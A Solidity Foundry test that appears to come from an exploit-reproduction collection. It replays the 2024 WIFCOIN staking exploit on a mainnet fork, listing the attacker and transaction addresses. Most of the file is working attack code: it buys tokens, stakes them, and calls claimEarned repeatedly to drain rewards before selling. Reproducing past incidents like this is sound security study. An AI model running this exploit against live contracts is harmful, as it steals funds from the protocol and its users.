src/test/2024-06/WIFCOIN_ETH_exp.sol

1pragma solidity ^0.8.10;
2 
3import "../basetest.sol";
4import "./../interface.sol";
5 
6// Profit : ~3.4 ETH
7// Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892
8// Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada
9// TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284
10// TX2 : https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e09
11 
12// GUY : https://x.com/ChainAegis/status/1802550962977964139
13 
14interface WIFStaking is IERC20 {
15    function stake(uint256 _stakingId, uint256 _amount) external;
16    function claimEarned(uint256 _stakingId, uint256 _burnRate) external;
17}
18 
19contract WIFCOIN_ETHExploit is BaseTestWithBalanceLog {
20    WIFStaking WifStake = WIFStaking(0xA1cE40702E15d0417a6c74D0bAB96772F36F4E99);
21    IERC20 Wif = IERC20(0xBFae33128ecF041856378b57adf0449181FFFDE7);
22 
23    Uni_Router_V2 router = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
24    uint256 ethFlashAmt = 0.3 ether;
25 
26    receive() external payable {}
27 
28    function setUp() public {
29        vm.createSelectFork("mainnet", 20_103_189);
30        Wif.approve(address(router), type(uint256).max);
31        Wif.approve(address(WifStake), type(uint256).max);
32        fundingToken = address(0);
33    }
34 
35    function testExploit() public balanceLog {
36        //Paths
37        address[] memory buyPath = new address[](2);
38        buyPath[0] = address(router.WETH()); // weth
39        buyPath[1] = address(Wif); // token
40        address[] memory sellPath = new address[](2);
41        sellPath[0] = buyPath[1];
42        sellPath[1] = buyPath[0];
43 
44        //set ethbal to 0.3 eth to buy tokens
45        vm.deal(address(this), ethFlashAmt);
46        router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);
47 
48        WifStake.stake(3, Wif.balanceOf(address(this)));
49        while (true) {
50            try WifStake.claimEarned(3, 10) {}
51            catch {
52                break;
53            }
54        }
55 
56        router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);
57 
58        //Remove initial flash eth to get actual ETH profit
59        vm.deal(address(this), address(this).balance - ethFlashAmt);
60    }
61}